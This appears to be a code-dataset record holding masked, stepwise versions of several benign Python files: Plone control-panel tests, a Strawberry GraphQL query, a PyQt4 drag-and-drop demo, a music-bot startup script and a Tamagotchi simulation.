{ "blob_id": "ce5f91aa04065aac4d4bc7bdbaab3b74c5a85a93", "index": 8752, "step-1": "<mask token>\n\n\nclass TestConfiglet(unittest.TestCase):\n <mask token>\n <mask token>\n\n def test_default_config(self):\n \"\"\" Validate the default values\n \"\"\"\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertEqual(settings.source_formats, ['JPEG', 'GIF'])\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n\n def test_change_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Save').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertTrue(settings.optimize)\n self.assertTrue(settings.enabled)\n\n def test_cancel_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Cancel').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n <mask token>\n", "step-2": "<mask token>\n\n\nclass TestConfiglet(unittest.TestCase):\n <mask token>\n\n def setUp(self):\n self.app = self.layer['app']\n self.portal = self.layer['portal']\n\n def test_default_config(self):\n \"\"\" Validate the default values\n \"\"\"\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertEqual(settings.source_formats, ['JPEG', 'GIF'])\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n\n def test_change_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Save').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertTrue(settings.optimize)\n self.assertTrue(settings.enabled)\n\n def test_cancel_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Cancel').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n\n def test_migrate_button(self):\n \"\"\" Check for the migrate button\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Enabled').selected = True\n browser.getControl('Save').click()\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Migrate').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertTrue(settings.optimize)\n self.assertTrue(settings.enabled)\n", "step-3": "<mask token>\n\n\nclass TestConfiglet(unittest.TestCase):\n layer = OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING\n\n def setUp(self):\n self.app = self.layer['app']\n self.portal = self.layer['portal']\n\n def test_default_config(self):\n \"\"\" Validate the default values\n \"\"\"\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertEqual(settings.source_formats, ['JPEG', 'GIF'])\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n\n def test_change_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Save').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertTrue(settings.optimize)\n self.assertTrue(settings.enabled)\n\n def test_cancel_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Cancel').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n\n def test_migrate_button(self):\n \"\"\" Check for the migrate button\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Enabled').selected = True\n browser.getControl('Save').click()\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Migrate').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertTrue(settings.optimize)\n self.assertTrue(settings.enabled)\n", "step-4": "import unittest2 as unittest\nfrom zope.component import getUtility\nfrom plone.registry.interfaces import IRegistry\nfrom plone.testing.z2 import Browser\nfrom plone.app.testing import SITE_OWNER_NAME, SITE_OWNER_PASSWORD\nfrom openmultimedia.imagewatchdog.configlet import IImageWatchDogSettings\nfrom openmultimedia.imagewatchdog.testing import OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING\n\n\nclass TestConfiglet(unittest.TestCase):\n layer = OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING\n\n def setUp(self):\n self.app = self.layer['app']\n self.portal = self.layer['portal']\n\n def test_default_config(self):\n \"\"\" Validate the default values\n \"\"\"\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertEqual(settings.source_formats, ['JPEG', 'GIF'])\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n\n def test_change_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Save').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertTrue(settings.optimize)\n self.assertTrue(settings.enabled)\n\n def test_cancel_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Cancel').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n\n def test_migrate_button(self):\n \"\"\" Check for the migrate button\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME,\n SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Enabled').selected = True\n browser.getControl('Save').click()\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Migrate').click()\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertTrue(settings.optimize)\n self.assertTrue(settings.enabled)\n", "step-5": "import unittest2 as unittest\n\nfrom zope.component import getUtility\nfrom plone.registry.interfaces import IRegistry\nfrom plone.testing.z2 import Browser\nfrom plone.app.testing import SITE_OWNER_NAME, SITE_OWNER_PASSWORD\n\nfrom openmultimedia.imagewatchdog.configlet import IImageWatchDogSettings\nfrom openmultimedia.imagewatchdog.testing import \\\n OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING\n\n\nclass TestConfiglet(unittest.TestCase):\n\n layer = OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING\n\n def setUp(self):\n self.app = self.layer['app']\n self.portal = self.layer['portal']\n\n def test_default_config(self):\n \"\"\" Validate the default values\n \"\"\"\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertEqual(settings.source_formats, ['JPEG', 'GIF'])\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n\n def test_change_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Save').click()\n\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertTrue(settings.optimize)\n self.assertTrue(settings.enabled)\n\n def test_cancel_config(self):\n \"\"\" Validate the default values\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Enabled').selected = True\n browser.getControl('Cancel').click()\n\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertFalse(settings.optimize)\n self.assertFalse(settings.enabled)\n\n def test_migrate_button(self):\n \"\"\" Check for the migrate button\n \"\"\"\n browser = Browser(self.app)\n portalURL = self.portal.absolute_url()\n browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD))\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Enabled').selected = True\n browser.getControl('Save').click()\n\n # Now there is a migrate button\n browser.open(portalURL + '/@@overview-controlpanel')\n browser.getLink('Image WatchDog settings').click()\n browser.getControl('Optimize PNG').selected = True\n browser.getControl('Migrate').click()\n\n registry = getUtility(IRegistry)\n settings = registry.forInterface(IImageWatchDogSettings)\n self.assertTrue(settings.optimize)\n self.assertTrue(settings.enabled)\n", "step-ids": [ 4, 6, 7, 8, 9 ] }
[ 4, 6, 7, 8, 9 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> @stb.type class Query: @stb.field async def ReadUser(self, info, username: str): ses = await get_session() fields = info.field_nodes[0].selection_set.selections[0] return await cruduser.get_user(ses, username, fields) <|reserved_special_token_1|> import strawberry as stb from app.crud import cruduser from app.db import get_session @stb.type class Query: @stb.field async def ReadUser(self, info, username: str): ses = await get_session() fields = info.field_nodes[0].selection_set.selections[0] return await cruduser.get_user(ses, username, fields)
flexible
{ "blob_id": "0992297ffc19b1bc4dc3d5e8a75307009c837032", "index": 5134, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\n@stb.type\nclass Query:\n\n @stb.field\n async def ReadUser(self, info, username: str):\n ses = await get_session()\n fields = info.field_nodes[0].selection_set.selections[0]\n return await cruduser.get_user(ses, username, fields)\n", "step-3": "import strawberry as stb\nfrom app.crud import cruduser\nfrom app.db import get_session\n\n\n@stb.type\nclass Query:\n\n @stb.field\n async def ReadUser(self, info, username: str):\n ses = await get_session()\n fields = info.field_nodes[0].selection_set.selections[0]\n return await cruduser.get_user(ses, username, fields)\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
import sys from PyQt4 import QtGui,QtCore class Button(QtGui.QPushButton): def __init__(self,*__args): super().__init__(*__args) self.setAcceptDrops(True) # 设置可以接受拖入事件 def dragEnterEvent(self, e): "设置接受的类型" #判断拖动的数据类型是否是:text/plain # 这两个一组表示一个类型 #查询方法是:e.mimeData().formats() if e.mimeData().hasFormat('text/plain'): e.accept() else: '不符合数据类型不触发' e.ignore() def dropEvent(self, e): "当经过dragEnterEvent处理过后,进行对该数据的操作" #self.setText(e.mimeData().text()) # 修改自身标题 QtGui.QMessageBox.question(self,"提示","你拖入的数据是:%s"%e.mimeData().text()) class UI (QtGui.QWidget): def __init__(self): super().__init__() self.setWindowTitle("简单的获取拖放数据") self.label = QtGui.QLabel("拖动编辑框内的数据移动到按钮上,触发拖动事件") self.edit = QtGui.QLineEdit('初始文本',self) self.edit.setDragEnabled(True) self.button = Button("等待接受",self) vLayout = QtGui.QVBoxLayout() vLayout.addWidget(self.label) bLayout = QtGui.QHBoxLayout() bLayout.addWidget(self.edit) bLayout.addWidget(self.button) vLayout.addLayout(bLayout) self.setLayout(vLayout) if __name__ == "__main__": app =QtGui.QApplication(sys.argv) w = UI() w.show() sys.exit(app.exec_())
normal
{ "blob_id": "e4b0dc2e3d9310bbe462e746e21080d309dfed84", "index": 9640, "step-1": "<mask token>\n\n\nclass Button(QtGui.QPushButton):\n\n def __init__(self, *__args):\n super().__init__(*__args)\n self.setAcceptDrops(True)\n\n def dragEnterEvent(self, e):\n \"\"\"设置接受的类型\"\"\"\n if e.mimeData().hasFormat('text/plain'):\n e.accept()\n else:\n \"\"\"不符合数据类型不触发\"\"\"\n e.ignore()\n <mask token>\n\n\nclass UI(QtGui.QWidget):\n\n def __init__(self):\n super().__init__()\n self.setWindowTitle('简单的获取拖放数据')\n self.label = QtGui.QLabel('拖动编辑框内的数据移动到按钮上,触发拖动事件')\n self.edit = QtGui.QLineEdit('初始文本', self)\n self.edit.setDragEnabled(True)\n self.button = Button('等待接受', self)\n vLayout = QtGui.QVBoxLayout()\n vLayout.addWidget(self.label)\n bLayout = QtGui.QHBoxLayout()\n bLayout.addWidget(self.edit)\n bLayout.addWidget(self.button)\n vLayout.addLayout(bLayout)\n self.setLayout(vLayout)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Button(QtGui.QPushButton):\n\n def __init__(self, *__args):\n super().__init__(*__args)\n self.setAcceptDrops(True)\n\n def dragEnterEvent(self, e):\n \"\"\"设置接受的类型\"\"\"\n if e.mimeData().hasFormat('text/plain'):\n e.accept()\n else:\n \"\"\"不符合数据类型不触发\"\"\"\n e.ignore()\n\n def dropEvent(self, e):\n \"\"\"当经过dragEnterEvent处理过后,进行对该数据的操作\"\"\"\n QtGui.QMessageBox.question(self, '提示', '你拖入的数据是:%s' % e.mimeData().\n text())\n\n\nclass UI(QtGui.QWidget):\n\n def __init__(self):\n super().__init__()\n self.setWindowTitle('简单的获取拖放数据')\n self.label = QtGui.QLabel('拖动编辑框内的数据移动到按钮上,触发拖动事件')\n self.edit = QtGui.QLineEdit('初始文本', self)\n self.edit.setDragEnabled(True)\n self.button = Button('等待接受', self)\n vLayout = QtGui.QVBoxLayout()\n vLayout.addWidget(self.label)\n bLayout = QtGui.QHBoxLayout()\n bLayout.addWidget(self.edit)\n bLayout.addWidget(self.button)\n vLayout.addLayout(bLayout)\n self.setLayout(vLayout)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Button(QtGui.QPushButton):\n\n def __init__(self, *__args):\n super().__init__(*__args)\n self.setAcceptDrops(True)\n\n def dragEnterEvent(self, e):\n \"\"\"设置接受的类型\"\"\"\n if e.mimeData().hasFormat('text/plain'):\n e.accept()\n else:\n \"\"\"不符合数据类型不触发\"\"\"\n e.ignore()\n\n def dropEvent(self, e):\n \"\"\"当经过dragEnterEvent处理过后,进行对该数据的操作\"\"\"\n QtGui.QMessageBox.question(self, '提示', '你拖入的数据是:%s' % e.mimeData().\n text())\n\n\nclass UI(QtGui.QWidget):\n\n def __init__(self):\n super().__init__()\n self.setWindowTitle('简单的获取拖放数据')\n self.label = QtGui.QLabel('拖动编辑框内的数据移动到按钮上,触发拖动事件')\n self.edit = QtGui.QLineEdit('初始文本', self)\n self.edit.setDragEnabled(True)\n self.button = Button('等待接受', self)\n vLayout = QtGui.QVBoxLayout()\n vLayout.addWidget(self.label)\n bLayout = QtGui.QHBoxLayout()\n bLayout.addWidget(self.edit)\n bLayout.addWidget(self.button)\n vLayout.addLayout(bLayout)\n self.setLayout(vLayout)\n\n\nif __name__ == '__main__':\n app = QtGui.QApplication(sys.argv)\n w = UI()\n w.show()\n sys.exit(app.exec_())\n", "step-4": "import sys\nfrom PyQt4 import QtGui, QtCore\n\n\nclass Button(QtGui.QPushButton):\n\n def __init__(self, *__args):\n super().__init__(*__args)\n self.setAcceptDrops(True)\n\n def dragEnterEvent(self, e):\n \"\"\"设置接受的类型\"\"\"\n if e.mimeData().hasFormat('text/plain'):\n e.accept()\n else:\n \"\"\"不符合数据类型不触发\"\"\"\n e.ignore()\n\n def dropEvent(self, e):\n \"\"\"当经过dragEnterEvent处理过后,进行对该数据的操作\"\"\"\n QtGui.QMessageBox.question(self, '提示', '你拖入的数据是:%s' % e.mimeData().\n text())\n\n\nclass UI(QtGui.QWidget):\n\n def __init__(self):\n super().__init__()\n self.setWindowTitle('简单的获取拖放数据')\n self.label = QtGui.QLabel('拖动编辑框内的数据移动到按钮上,触发拖动事件')\n self.edit = QtGui.QLineEdit('初始文本', self)\n self.edit.setDragEnabled(True)\n self.button = Button('等待接受', self)\n vLayout = QtGui.QVBoxLayout()\n vLayout.addWidget(self.label)\n bLayout = QtGui.QHBoxLayout()\n bLayout.addWidget(self.edit)\n bLayout.addWidget(self.button)\n vLayout.addLayout(bLayout)\n self.setLayout(vLayout)\n\n\nif __name__ == '__main__':\n app = QtGui.QApplication(sys.argv)\n w = UI()\n w.show()\n sys.exit(app.exec_())\n", "step-5": "import sys\nfrom PyQt4 import QtGui,QtCore\n\nclass Button(QtGui.QPushButton):\n def __init__(self,*__args):\n super().__init__(*__args)\n self.setAcceptDrops(True) # 设置可以接受拖入事件\n\n def dragEnterEvent(self, e):\n \"设置接受的类型\"\n #判断拖动的数据类型是否是:text/plain # 这两个一组表示一个类型\n #查询方法是:e.mimeData().formats()\n if e.mimeData().hasFormat('text/plain'):\n e.accept()\n else:\n '不符合数据类型不触发'\n e.ignore()\n\n def dropEvent(self, e):\n \"当经过dragEnterEvent处理过后,进行对该数据的操作\"\n #self.setText(e.mimeData().text()) # 修改自身标题\n QtGui.QMessageBox.question(self,\"提示\",\"你拖入的数据是:%s\"%e.mimeData().text())\n\n\nclass UI (QtGui.QWidget):\n def __init__(self):\n super().__init__()\n\n self.setWindowTitle(\"简单的获取拖放数据\")\n\n self.label = QtGui.QLabel(\"拖动编辑框内的数据移动到按钮上,触发拖动事件\")\n self.edit = QtGui.QLineEdit('初始文本',self)\n self.edit.setDragEnabled(True)\n self.button = Button(\"等待接受\",self)\n\n vLayout = QtGui.QVBoxLayout()\n vLayout.addWidget(self.label)\n bLayout = QtGui.QHBoxLayout()\n bLayout.addWidget(self.edit)\n bLayout.addWidget(self.button)\n vLayout.addLayout(bLayout)\n self.setLayout(vLayout)\n\n\nif __name__ == \"__main__\":\n app =QtGui.QApplication(sys.argv)\n w = UI()\n w.show()\n sys.exit(app.exec_())", "step-ids": [ 5, 6, 7, 8, 9 ] }
[ 5, 6, 7, 8, 9 ]
<|reserved_special_token_0|> def import_handlers(): from deezer import handlers, callback_handlers from spotify import handlers, integration, callback_handlers from vk import handlers, callback_handlers from soundcloud import handlers, callback_handlers import handlers import inline_handlers import callback_handlers import error_handlers <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def import_handlers(): from deezer import handlers, callback_handlers from spotify import handlers, integration, callback_handlers from vk import handlers, callback_handlers from soundcloud import handlers, callback_handlers import handlers import inline_handlers import callback_handlers import error_handlers if __name__ == '__main__': with suppress(FileNotFoundError): shutil.rmtree('downloads') logging = asyncio.ensure_future(update_logging_files()) import_handlers() web.run_app(app, port=8081) loop.close() <|reserved_special_token_1|> <|reserved_special_token_0|> loop = asyncio.get_event_loop() def import_handlers(): from deezer import handlers, callback_handlers from spotify import handlers, integration, callback_handlers from vk import handlers, callback_handlers from soundcloud import handlers, callback_handlers import handlers import inline_handlers import callback_handlers import error_handlers if __name__ == '__main__': with suppress(FileNotFoundError): shutil.rmtree('downloads') logging = asyncio.ensure_future(update_logging_files()) import_handlers() web.run_app(app, port=8081) loop.close() <|reserved_special_token_1|> from contextlib import suppress import asyncio import shutil from aiohttp import web from bot import app from var import var from logger import update_logging_files loop = asyncio.get_event_loop() def import_handlers(): from deezer import handlers, callback_handlers from spotify import handlers, integration, callback_handlers from vk import handlers, callback_handlers from soundcloud import handlers, callback_handlers import handlers import inline_handlers import callback_handlers import error_handlers if __name__ == '__main__': with suppress(FileNotFoundError): shutil.rmtree('downloads') logging = asyncio.ensure_future(update_logging_files()) import_handlers() web.run_app(app, port=8081) loop.close() <|reserved_special_token_1|> #!/usr/bin/env python3 # -*- coding: utf-8 -*- from contextlib import suppress import asyncio import shutil from aiohttp import web from bot import app from var import var from logger import update_logging_files loop = asyncio.get_event_loop() def import_handlers(): from deezer import handlers, callback_handlers from spotify import handlers, integration, callback_handlers from vk import handlers, callback_handlers from soundcloud import handlers, callback_handlers import handlers import inline_handlers import callback_handlers import error_handlers if __name__ == '__main__': with suppress(FileNotFoundError): shutil.rmtree('downloads') logging = asyncio.ensure_future(update_logging_files()) import_handlers() web.run_app(app, port=8081) loop.close()
flexible
{ "blob_id": "d957fd5fbcdcf2e549323677185eabb8a50536c6", "index": 5716, "step-1": "<mask token>\n\n\ndef import_handlers():\n from deezer import handlers, callback_handlers\n from spotify import handlers, integration, callback_handlers\n from vk import handlers, callback_handlers\n from soundcloud import handlers, callback_handlers\n import handlers\n import inline_handlers\n import callback_handlers\n import error_handlers\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef import_handlers():\n from deezer import handlers, callback_handlers\n from spotify import handlers, integration, callback_handlers\n from vk import handlers, callback_handlers\n from soundcloud import handlers, callback_handlers\n import handlers\n import inline_handlers\n import callback_handlers\n import error_handlers\n\n\nif __name__ == '__main__':\n with suppress(FileNotFoundError):\n shutil.rmtree('downloads')\n logging = asyncio.ensure_future(update_logging_files())\n import_handlers()\n web.run_app(app, port=8081)\n loop.close()\n", "step-3": "<mask token>\nloop = asyncio.get_event_loop()\n\n\ndef import_handlers():\n from deezer import handlers, callback_handlers\n from spotify import handlers, integration, callback_handlers\n from vk import handlers, callback_handlers\n from soundcloud import handlers, callback_handlers\n import handlers\n import inline_handlers\n import callback_handlers\n import error_handlers\n\n\nif __name__ == '__main__':\n with suppress(FileNotFoundError):\n shutil.rmtree('downloads')\n logging = asyncio.ensure_future(update_logging_files())\n import_handlers()\n web.run_app(app, port=8081)\n loop.close()\n", "step-4": "from contextlib import suppress\nimport asyncio\nimport shutil\nfrom aiohttp import web\nfrom bot import app\nfrom var import var\nfrom logger import update_logging_files\nloop = asyncio.get_event_loop()\n\n\ndef import_handlers():\n from deezer import handlers, callback_handlers\n from spotify import handlers, integration, callback_handlers\n from vk import handlers, callback_handlers\n from soundcloud import handlers, callback_handlers\n import handlers\n import inline_handlers\n import callback_handlers\n import error_handlers\n\n\nif __name__ == '__main__':\n with suppress(FileNotFoundError):\n shutil.rmtree('downloads')\n logging = asyncio.ensure_future(update_logging_files())\n import_handlers()\n web.run_app(app, port=8081)\n loop.close()\n", "step-5": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom contextlib import suppress\nimport asyncio\nimport shutil\n\nfrom aiohttp import web\n\nfrom bot import app\nfrom var import var\nfrom logger import update_logging_files\n\nloop = asyncio.get_event_loop()\n\n\ndef import_handlers():\n from deezer import handlers, callback_handlers\n from spotify import handlers, integration, callback_handlers\n from vk import handlers, callback_handlers\n from soundcloud import handlers, callback_handlers\n import handlers\n import inline_handlers\n import callback_handlers\n import error_handlers\n\n\nif __name__ == '__main__':\n with suppress(FileNotFoundError):\n shutil.rmtree('downloads')\n logging = asyncio.ensure_future(update_logging_files())\n import_handlers()\n web.run_app(app, port=8081)\n loop.close()\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
import time from junk.keyboard_non_blocking import NonBlockingKeyboard TICK_DURATION = 0.05 INITIAL_FOOD_LEVEL = 100 FOOD_PER_TICK = -1 FOOD_PER_FEED = 10 MAX_FOOD_LEVEL = 100 INITIAL_ENERGY_LEVEL = 50 ENERGY_PER_TICK_AWAKE = -1 ENERGY_PER_TICK_ASLEEP = 5 MAX_ENERGY_LEVEL = 100 INITIAL_IS_AWAKE = False INITIAL_POOP_LEVEL = 0 TICKS_PER_POOP = 25 MAX_POOP_LEVEL = 10 class UnknownCommand(Exception): pass def _add_and_clip(x, dx, x_min, x_max): return max(x_min, min(x_max, x + dx)) class Tamagotchi: def __init__(self) -> None: self._age = 0 self._food_level = INITIAL_FOOD_LEVEL self._energy_level = INITIAL_ENERGY_LEVEL self._poop_level = INITIAL_POOP_LEVEL self._is_awake = INITIAL_IS_AWAKE self._commands = { "f": self._feed, "c": self._clean, "s": self._sleep, } def __repr__(self) -> str: return f"Tamagotchi(is_awake={self._is_awake}, food_level={self._food_level}, energy_level={self._energy_level}, poop_level={self._poop_level}, age={self._age})" def process_command(self, command: str) -> None: try: self._commands[command]() except KeyError: raise UnknownCommand(command) def _feed(self) -> None: if self._is_awake: self._food_level = _add_and_clip( self._food_level, FOOD_PER_FEED, 0, MAX_FOOD_LEVEL ) def _clean(self) -> None: self._poop_level = 0 def _sleep(self) -> None: self._is_awake = False def is_alive(self) -> bool: return self._food_level > 0 and self._poop_level < MAX_POOP_LEVEL def update(self) -> None: self._age += 1 # Food self._food_level = _add_and_clip( self._food_level, FOOD_PER_TICK, 0, MAX_FOOD_LEVEL ) # Energy if self._energy_level >= MAX_ENERGY_LEVEL: self._is_awake = True if self._energy_level <= 0: self._is_awake = False energy_delta = ( ENERGY_PER_TICK_AWAKE if self._is_awake else ENERGY_PER_TICK_ASLEEP ) self._energy_level = _add_and_clip( self._energy_level, energy_delta, 0, MAX_ENERGY_LEVEL ) # Poop if self._age % TICKS_PER_POOP == 0: self._poop_level += 1 def main(): tamagotchi = Tamagotchi() with NonBlockingKeyboard() as kb: while True: inpt = kb.getstr() should_quit = False for c in inpt: try: tamagotchi.process_command(c) except UnknownCommand: if c == "q": should_quit = True break else: raise if should_quit: break tamagotchi.update() print(tamagotchi) if not tamagotchi.is_alive(): print("tamagotchi died") break time.sleep(TICK_DURATION) if __name__ == "__main__": main()
normal
{ "blob_id": "1dd09a09f542099091d94d466ebd7cc149884eb4", "index": 7385, "step-1": "<mask token>\n\n\nclass UnknownCommand(Exception):\n pass\n\n\n<mask token>\n\n\nclass Tamagotchi:\n\n def __init__(self) ->None:\n self._age = 0\n self._food_level = INITIAL_FOOD_LEVEL\n self._energy_level = INITIAL_ENERGY_LEVEL\n self._poop_level = INITIAL_POOP_LEVEL\n self._is_awake = INITIAL_IS_AWAKE\n self._commands = {'f': self._feed, 'c': self._clean, 's': self._sleep}\n\n def __repr__(self) ->str:\n return (\n f'Tamagotchi(is_awake={self._is_awake}, food_level={self._food_level}, energy_level={self._energy_level}, poop_level={self._poop_level}, age={self._age})'\n )\n\n def process_command(self, command: str) ->None:\n try:\n self._commands[command]()\n except KeyError:\n raise UnknownCommand(command)\n\n def _feed(self) ->None:\n if self._is_awake:\n self._food_level = _add_and_clip(self._food_level,\n FOOD_PER_FEED, 0, MAX_FOOD_LEVEL)\n\n def _clean(self) ->None:\n self._poop_level = 0\n\n def _sleep(self) ->None:\n self._is_awake = False\n\n def is_alive(self) ->bool:\n return self._food_level > 0 and self._poop_level < MAX_POOP_LEVEL\n\n def update(self) ->None:\n self._age += 1\n self._food_level = _add_and_clip(self._food_level, FOOD_PER_TICK, 0,\n MAX_FOOD_LEVEL)\n if self._energy_level >= MAX_ENERGY_LEVEL:\n self._is_awake = True\n if self._energy_level <= 0:\n self._is_awake = False\n energy_delta = 